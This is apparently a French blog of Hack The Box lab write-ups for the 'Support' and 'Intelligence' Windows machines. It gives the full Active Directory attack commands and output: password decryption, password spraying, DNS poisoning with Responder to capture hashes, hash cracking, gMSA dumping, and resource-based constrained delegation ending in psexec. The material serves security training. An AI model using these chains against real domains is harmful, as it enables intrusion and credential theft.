 "mtime_epoch": "2022-05-28 13:19:55",
 "size": "5.19 MB"
 },
 "putty.exe": {
 "atime_epoch": "2022-05-28 13:20:06",
 "ctime_epoch": "2022-05-28 13:20:06",
 "mtime_epoch": "2022-05-28 13:20:06",
 "size": "1.21 MB"
 },
 "windirstat1_1_2_setup.exe": {
 "atime_epoch": "2022-05-28 13:20:17",
 "ctime_epoch": "2022-05-28 13:20:17",
 "mtime_epoch": "2022-05-28 13:20:17",
 "size": "77.32 KB"
 }
 }
}

UserInfo.exe.zip : .NET executable

1
2
3
4
5


$ nxc smb 10.10.11.174 -u 'guest' -p '' --get-file \\UserInfo.exe.zip UserInfo.exe.zip --share support-tools
SMB 10.10.11.174 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.174 445 DC [+] support.htb\guest:
SMB 10.10.11.174 445 DC [*] Copying "\UserInfo.exe.zip" to "UserInfo.exe.zip"
SMB 10.10.11.174 445 DC [+] File "\UserInfo.exe.zip" was downloaded to "UserInfo.exe.zip"

Ce zip contient un binaire cutom UserInfo.exe. En décompilant le binaire, on découvre une string ressemblant à un mot de passe chiffré ainsi qu’une clé :

“0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E”
“armando”

Une fonction getPassword semble déchiffrer cette string à l’aide de la clé en effectuant une manipulation.

Grâce à ChatGPT, j’ai pu comprendre comment fonctionnait le code et il m’a généré un code Python équivalent au code .NET ce qui m’a permis de récupérer le mot de passe :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


import base64

enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"

# Base64 decode
enc_bytes = base64.b64decode(enc_password)

dec_bytes = bytearray()
for i, b in enumerate(enc_bytes):
 k = key[i % len(key)]
 dec_bytes.append(b ^ k ^ 0xDF)

password = dec_bytes.decode("utf-8", errors="ignore")
print(password)

En executant le python, on trouve le mot de passe :

ldap : nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

C’est très intéressant car une autre méthode attendue était d’executer le programme et d’effectuer des requête ldap authentifiées avec le compte utilisateur “ldap”. Il suffisait de lancer wireshark et d’analyser le trafic réseau afin de récupérer le mot de passe !

Bien sûr, le jour de l’OSCP il n’y aura pas de chatBot autorisé donc il faut prioriser la seconde méthode, à moins que vous ayez un très bon décompilateur de code .NET.

Rusthound / Bloodhound : “support” account

On execute rusthound afin d’extraire les informations du compte ldap, puis on fait une analyse sur bloodhound. On trouve le compte support qui semble être très intéressant car il existe une route permettant à cet utilisateur de prendre la main sur le DC :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


$ rusthound -d support.htb -u "ldap"@"support.htb" -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -o /workspace/Support/bloodhound_data --zip -n 10.10.11.174
---------------------------------------------------
Initializing RustHound at 23:06:53 on 09/09/25
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2025-09-09T21:06:53Z INFO rusthound] Verbosity level: Info
[2025-09-09T21:06:53Z INFO rusthound::ldap] Connected to SUPPORT.HTB Active Directory!
[2025-09-09T21:06:53Z INFO rusthound::ldap] Starting data collection...
[2025-09-09T21:06:54Z INFO rusthound::ldap] All data collected for NamingContext DC=support,DC=htb
[2025-09-09T21:06:54Z INFO rusthound::json::parser] Starting the LDAP objects parsing...
[2025-09-09T21:06:54Z INFO rusthound::json::parser::bh_41] MachineAccountQuota: 10
[2025-09-09T21:06:54Z INFO rusthound::json::parser] Parsing LDAP objects finished!
[2025-09-09T21:06:54Z INFO rusthound::json::checker] Starting checker to replace some values...
[2025-09-09T21:06:54Z INFO rusthound::json::checker] Checking and replacing some values finished!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 21 users parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 61 groups parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 2 computers parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 1 ous parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 1 domains parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 2 gpos parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 21 containers parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] /workspace/Support/bloodhound_data/20250909230654_support-htb_rusthound.zip created!

RustHound Enumeration Completed at 23:06:54 on 09/09/25! Happy Graphing!

On remarque que le compte support fait parti du groupe SHARED SUPPORT ACCOUNTS, qui a le droit GENERIC ALL sur le DC.

Cependant, on ne trouve a aucun moyen de récupérer le compte support.

ldapsearch : support’s password

En analysant les données de l’Active Directory directement avec ldapsearch, on observe un champs “info” qu’on ne pouvait pas voir sur bloodhound. Il contient… le mot de passe de l’utilisateur support :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


$ ldapsearch -x -H ldap://10.10.11.174 -D "support\ldap" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "sAMAccountName.*support" -A10 -B25
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful # <<<<<-------- HERE
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
...
lastLogon: 0
pwdLastSet: 132982099209777070
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUQQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: support
...

Privilege Escalation

Generic All on DC : Resource-Based Constrained Delegation Attack

Nous avons observé auparavant que support appartient à un groupe ayant le droite “GENERIC ALL” sur le DC.
Il faut alors exploiter une Resource-Based Constrained Delegation Attack.

En utilisant les conseils donnés par bloodhound, voici un exemple d’exploitation :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


# First, if an attacker does not control an account with an SPN set, a new attacker-controlled computer account can be added with Impacket's addcomputer.py example script:
$ addcomputer.py -computer-name 'HACKED$' -computer-pass 'hacked123!' -dc-host DC.SUPPORT.HTB -domain-netbios support.htb support.htb/'support':'Ironside47pleasure40Watchful'

[*] Successfully added machine account HACKED$ with password hacked123!.

# We now need to configure the target object so that the attacker-controlled computer can delegate to it. Impacket's rbcd.py script can be used for that purpose:
$ rbcd.py -delegate-from "HACKED$" -delegate-to 'DC$' -dc-ip "10.10.11.174" -action write "support.htb"/"support":'Ironside47pleasure40Watchful'

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] HACKED$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] HACKED$ (S-1-5-21-1677581083-3380853377-188903654-5601)

# And finally we can get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. Impacket's getST.py example script can be used for that purpose.
$ getST.py -spn CIFS/dc.support.htb -impersonate Administrator -dc-ip "10.10.11.174" "support.htb"/'HACKED$':'hacked123!'

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@CIFS_dc.support.htb@SUPPORT.HTB.ccache

$ mv Administrator@CIFS_dc.support.htb@SUPPORT.HTB.ccache admin.ccache
$ export KRB5CCNAME="admin.ccache"

# This ticket can then be used with Pass-the-Ticket, and could grant access to the file system of the TARGETCOMPUTER.
$ psexec.py -k -no-pass support.htb/Administrator@dc.support.htb

[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file phZHHPqE.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service YbSC on dc.support.htb.....
[*] Starting service YbSC.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\support\Desktop\user.txt
1e30.....0c23

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
a848.....12cf

Tips

Je n’ai pas trouvé le mot de passe de l’utilisateur support avec ldapsearch.

Conseil: Après de longues recherches sur bloodhound, si on trouve un compte et/ou un groupe intéressant, toujours les analyser avec ldapsearch après, pour vérifier qu’il n’y pas d’infos supplémentaires tel qu’un mot de passe dans une variable de description par exemple.

HTB | Intelligence

Wed, 03 Sep 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Intelligence	Windows	10.10.10.248	Medium

Users

1
2
3


Tiffany.Molina : NewIntelligenceCorpUser9876
Ted.Graves : Mr.Teddy
svc_int$:::1dcabcce2cf522bae77d7dc622587879

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.248
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Intelligence
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-03 19:34:02Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
| SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
|_ssl-date: 2025-09-03T19:35:37+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-03T19:35:36+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
| SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-03T19:35:37+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
| SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
| SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
|_ssl-date: 2025-09-03T19:35:36+00:00; +7h00m00s from scanner time.
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49691/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49710/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49713/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Foothold

intelligence.htb

On découvre un site web sur le port 80 de notre machine.

Fuzzing files

Sur la page d’accueil on nous indique un lien vers un fichier :

http://intelligence.htb/documents/2020-01-01-upload.pdf Un deuxième lien est présent avec un fichier contenant une autre date.

On fait la déduction que d’autres files peuvent etre présents, si l’on réussi à faire du fuzzing avec la date.

Dans un premier temps, on génére donc un fichier Python qui parcourt toutes les dates dans le bon format de 2015 à 2022 pour un premier test. On redirige ensuite la liste dans un fichier.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


from datetime import date, timedelta

def daterange(start_date: date, end_date: date):
 days = int((end_date - start_date).days)
 for n in range(days):
 yield start_date + timedelta(n)

start_date = date(2015, 1, 1)
end_date = date(2022, 6, 2)
for single_date in daterange(start_date, end_date):
 print(single_date.strftime("%Y-%m-%d"))

Ensuite, on utilise ffuf pour faire du fuzzing et récupérer toutes les URL des potentiels fichiers téléchargeables :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


$ ffuf -c -w dates.txt -u "http://intelligence.htb/documents/FUZZ-upload.pdf" -o results.json -of json


 /'___\ /'___\  /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
 \ \_\  \ \_\  \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://intelligence.htb/documents/FUZZ-upload.pdf
 :: Wordlist : FUZZ: /workspace/Intelligence/dates.txt
 :: Output file : results.json
 :: File format : json
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

2020-01-01 [Status: 200, Size: 26835, Words: 241, Lines: 209, Duration: 35ms]
2020-01-02 [Status: 200, Size: 27002, Words: 229, Lines: 199, Duration: 31ms]
2020-01-25 [Status: 200, Size: 26252, Words: 225, Lines: 193, Duration: 24ms]
2020-01-20 [Status: 200, Size: 11632, Words: 157, Lines: 127, Duration: 27ms]
2020-01-23 [Status: 200, Size: 11557, Words: 167, Lines: 136, Duration: 35ms]
2020-01-22 [Status: 200, Size: 28637, Words: 236, Lines: 224, Duration: 37ms]
2020-01-10 [Status: 200, Size: 26400, Words: 232, Lines: 205, Duration: 40ms]
2020-01-04 [Status: 200, Size: 27522, Words: 223, Lines: 196, Duration: 49ms]
2020-01-30 [Status: 200, Size: 26706, Words: 242, Lines: 193, Duration: 39ms]
2020-02-24 [Status: 200, Size: 27332, Words: 237, Lines: 206, Duration: 23ms]
2020-03-04 [Status: 200, Size: 26194, Words: 235, Lines: 202, Duration: 21ms]
2020-02-28 [Status: 200, Size: 11543, Words: 167, Lines: 131, Duration: 23ms]
2020-02-11 [Status: 200, Size: 25245, Words: 241, Lines: 198, Duration: 29ms]
2020-02-17 [Status: 200, Size: 11228, Words: 167, Lines: 132, Duration: 29ms]
2020-02-23 [Status: 200, Size: 27378, Words: 247, Lines: 213, Duration: 33ms]
2020-03-05 [Status: 200, Size: 26124, Words: 221, Lines: 205, Duration: 33ms]
2020-03-12 [Status: 200, Size: 27143, Words: 233, Lines: 213, Duration: 24ms]
2020-03-21 [Status: 200, Size: 11250, Words: 157, Lines: 134, Duration: 24ms]
...
2021-03-25 [Status: 200, Size: 27327, Words: 231, Lines: 211, Duration: 22ms]
2021-03-21 [Status: 200, Size: 26810, Words: 229, Lines: 205, Duration: 31ms]
2021-03-27 [Status: 200, Size: 12127, Words: 166, Lines: 141, Duration: 28ms]
:: Progress: [2709/2709] :: Job [1/1] :: 1562 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

Il faut ensuite parcourir cette liste d’url pour télécharger tous les fichiers. En Python, ça nous donne le code suivant :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


cat ffuf_dl.py
import json
import subprocess

with open("results.json") as f:
 data = json.load(f)

for result in data["results"]:
 url = result["url"]
 print(f"[*] Téléchargement de {url}")
 subprocess.run(["wget", "-q", "-P", "pdfs/", url])

Dans le dossier pdfs/ se trouve une grande quantité de fichiers

Password found in pdfs

J’ai utilisé la commande pdftotext afin de convertir les pdfs en texte. Ensuite, en affichant le texte de tous les pdfs et en recherchant le mot clé “password”, on trouve un match ! Le mot de passe : NewIntelligenceCorpUser9876

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ for f in *.pdf
do
 pdftotext $f
done
$ cat *.txt | grep -i password -A3 -B3

New Account Guide
Welcome to Intelligence Corp!
Please login using your username and the default password of:
NewIntelligenceCorpUser9876
After logging in please change your password as soon as possible.

On trouve également le message suivant:

1
2
3
4
5


Internal IT Update
There has recently been some outages on our web servers. Ted has gotten a
script in place to help notify us if this happens again.
Also, after discussion following our recent security audit we are in the process
of locking down our service accounts.

User list from pdfs creators

En utilisant exiftool, on peut recuperer beaucoup d’information sur les PDFs et notamment le nom des createurs ayant généré les pdfs. On peut alors obtenir une liste d’utilisateurs potentiels

1
2
3
4
5
6
7
8


exiftool pdfs/*.pdf | grep -i creator | awk '{print $3}'
William.Lee
Scott.Scott
...
Tiffany.Molina <-----------
...
Ian.Duncan
Richard.Williams

Avec kerbrute, on peut vérifier si les utilisateurs existent. Une très grosse partie existe en vérité. Avec nxc on effectue un password spray et on trouve les credentials suivants: intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


$ kerbrute userenum --dc dc.intelligence.htb -d intelligence.htb users.txt
 __ __ __
 / /_____ _____/ /_ _______ __/ /____
 / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/

Version: dev (n/a) - 09/03/25 - Ronnie Flathers @ropnop

2025/09/03 16:03:02 > Using KDC(s):
2025/09/03 16:03:02 > dc.intelligence.htb:88

2025/09/03 16:03:02 > [+] VALID USERNAME: Stephanie.Young@intelligence.htb
2025/09/03 16:03:02 > [+] VALID USERNAME: Veronica.Patel@intelligence.htb
2025/09/03 16:03:02 > [+] VALID USERNAME: Jason.Wright@intelligence.htb
2025/09/03 16:03:02 > [+] VALID USERNAME: David.Reed@intelligence.htb
2025/09/03 16:03:02 > [+] VALID USERNAME: Scott.Scott@intelligence.htb
......

$ nxc smb 10.10.10.248 -u users.txt -p pass.txt
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [-] intelligence.htb\William.Lee:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
...
SMB 10.10.10.248 445 DC [-] intelligence.htb\Jason.Wright:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
SMB 10.10.10.248 445 DC [-] intelligence.htb\Richard.Williams:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
SMB 10.10.10.248 445 DC [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

Tiffany.Molina : user flag

On trouve un Share User accessible en lecture par Tiffany. On trouve finalement les fichiers de Tiffany et le flag user.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


smbclient //10.10.10.248/users -U 'Tiffany.Molina%NewIntelligenceCorpUser9876'
Try "help" to get a list of possible commands.
smb: \> ls
 . DR 0 Mon Apr 19 03:20:26 2021
 .. DR 0 Mon Apr 19 03:20:26 2021
 Administrator D 0 Mon Apr 19 02:18:39 2021
 All Users DHSrn 0 Sat Sep 15 09:21:46 2018
 Default DHR 0 Mon Apr 19 04:17:40 2021
 Default User DHSrn 0 Sat Sep 15 09:21:46 2018
 desktop.ini AHS 174 Sat Sep 15 09:11:27 2018
 Public DR 0 Mon Apr 19 02:18:39 2021
 Ted.Graves D 0 Mon Apr 19 03:20:26 2021
 Tiffany.Molina D 0 Mon Apr 19 02:51:46 2021

 3770367 blocks of size 4096. 1453992 blocks available
smb: \> cd Tiffany.molina
smb: \Tiffany.molina\> cd Desktop
smb: \Tiffany.molina\Desktop\> ls
 . DR 0 Mon Apr 19 02:51:46 2021
 .. DR 0 Mon Apr 19 02:51:46 2021
 user.txt AR 34 Wed Sep 3 21:31:06 2025

 3770367 blocks of size 4096. 1453992 blocks available
smb: \Tiffany.molina\Desktop\> get user.txt
getting file \Tiffany.molina\Desktop\user.txt of size 34 as user.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \Tiffany.molina\Desktop\>
$ cat user.txt
359b.....159e

Rusthound bloodhound

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


$ rusthound -d intelligence.htb -u "Tiffany.Molina"@"intelligence.htb" -p "NewIntelligenceCorpUser9876" -o /workspace/Intelligence/bloodhount_data --zip -n 10.10.10.248
---------------------------------------------------
Initializing RustHound at 16:50:28 on 09/03/25
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2025-09-03T14:50:28Z INFO rusthound] Verbosity level: Info
[2025-09-03T14:50:28Z INFO rusthound::ldap] Connected to INTELLIGENCE.HTB Active Directory!
[2025-09-03T14:50:28Z INFO rusthound::ldap] Starting data collection...
[2025-09-03T14:50:28Z INFO rusthound::ldap] All data collected for NamingContext DC=intelligence,DC=htb
[2025-09-03T14:50:28Z INFO rusthound::json::parser] Starting the LDAP objects parsing...
[2025-09-03T14:50:28Z INFO rusthound::json::parser::bh_41] MachineAccountQuota: 10
[2025-09-03T14:50:28Z INFO rusthound::json::parser] Parsing LDAP objects finished!
[2025-09-03T14:50:28Z INFO rusthound::json::checker] Starting checker to replace some values...
[2025-09-03T14:50:28Z INFO rusthound::json::checker] Checking and replacing some values finished!
[2025-09-03T14:50:28Z INFO rusthound::json::maker] 43 users parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 63 groups parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 1 computers parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 1 ous parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 1 domains parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 2 gpos parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 21 containers parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] /workspace/Intelligence/bloodhount_data/20250903165028_intelligence-htb_rusthound.zip created!

RustHound Enumeration Completed at 16:50:29 on 09/03/25! Happy Graphing!

Tiffany.Molina -> Ted.Graves

En se connectant au share IT on remarque un script powershell. Ce script parcourt tous les domaines DNS enregistrés commencant par “web” puis effectue une requête HTTP avec Invoke-WebRequest. Si le site n’est pas actif, alors la requête echoue et un mail est envoyé à Ted.

Il est indiqué que le script est executé toutes les 5mn, et vraisembablement est executé par Ted lui même. On remarque l’utilisation du paramètre -UseDefaultCredentials ce qui signifie que les creds de celui qui l’execute sont transmis lors de la requête.

Si on arrive à detourner le script pour lui faire faire une requête vers notre ordinateur, on pourrait recupérer le mot de passe de Ted.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


smbclient //10.10.10.248/it -U 'Tiffany.Molina%NewIntelligenceCorpUser9876'
Try "help" to get a list of possible commands.
smb: \> ls
 . D 0 Mon Apr 19 02:50:55 2021
 .. D 0 Mon Apr 19 02:50:55 2021
 downdetector.ps1 A 1046 Mon Apr 19 02:50:55 2021

 3770367 blocks of size 4096. 1453177 blocks available
smb: \> get downdetector.ps1
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (13.4 KiloBytes/sec) (average 13.4 KiloBytes/sec)
smb: \>
[Sep 03, 2025 - 17:13:40 (CEST)] exegol-pentest Intelligence # cat downdetector.ps1 
��# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

L’idée est donc:

Créer un record DNS commençant par “web” avec le compte de Tiffany
Mettre en place un responder, qui attend de recevoir une requête et nous donnera un hachage
Déchiffrer le hachage.

New DNS Record

On crée un nouveau DNS record : web666. Il pointe vers notre IP. Pour cela on peut utiliser l’outil dnstool.py :

1
2
3
4
5
6


$ dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r web666 -a add -d 10.10.16.10 10.10.10.248
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Responder

On se met en attente d’une requête, avec la commande responder :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


[Sep 03, 2025 - 22:43:49 (CEST)] exegol-pentest Intelligence # responder -I tun0 -w -F 
 __
 .----.-----.-----.-----.-----.-----.--| |.-----.----.
 | _| -__|__ --| _ | _ | | _ || -__| _|
 |__| |_____|_____| __|_____|__|__|_____||_____|__|
 |__|

 NBT-NS, LLMNR & MDNS Responder 3.1.5.0

[+] Listening for events...

[!] Error starting TCP server on port 53, check permissions or other servers running.
[HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:1122334455667788:BF2803FDDC9EEF7CD931A308E83AAF83:0101000000000000579387554E1DDC014DF34E0577DDBE3A0000000002000800510054003200360001001E00570049004E002D00440046003200570030004700530042004500390050000400140051005400320036002E004C004F00430041004C0003003400570049004E002D00440046003200570030004700530042004500390050002E0051005400320036002E004C004F00430041004C000500140051005400320036002E004C004F00430041004C00080030003000000000000000000000000020000027B3134561E5EAEC1547E28450320466E1AC51EF296269768842659E2D2AD00B0A001000000000000000000000000000000000000900380048005400540050002F007700650062003600360036002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000

Ted NTLMv2 Hash

On effectue une attaque par dictionnaire sur le hachage NTLMv2 de Ted.graves et on obtient les credentials suivants : Ted : Mr.Teddy

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$ hashcat -m 5600 ./hash.txt ~/wordlists/rockyou.txt
...

TED.GRAVES::intelligence:112.......000:Mr.Teddy

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: TED.GRAVES::intelligence:1122334455667788:bf2803fdd...000000
Time.Started.....: Wed Sep 3 22:47:36 2025 (2 secs)
Time.Estimated...: Wed Sep 3 22:47:38 2025 (0 secs)
...

$ nxc smb 10.10.10.248 -u Ted.graves -p 'Mr.Teddy'
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [+] intelligence.htb\Ted.graves:Mr.Teddy

Ted.Graves -> svc_int$

ReadGMSAPassword Right on svc_int$

En utilisant bloodhound, on découvre que Ted.Graves fait parti du groupe ITSupport qui a le droit ReadGMSAPassword sur l’utilisateur svc_int$.

En utilisant la commande gMSADumper.py on peut alors dumper le hachage de svc_int$ :

1
2
3
4
5
6
7


gMSADumper.py -u 'Ted.Graves' -p 'Mr.Teddy' -d 'intelligence.htb'
Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
svc_int$:::1dcabcce2cf522bae77d7dc622587879
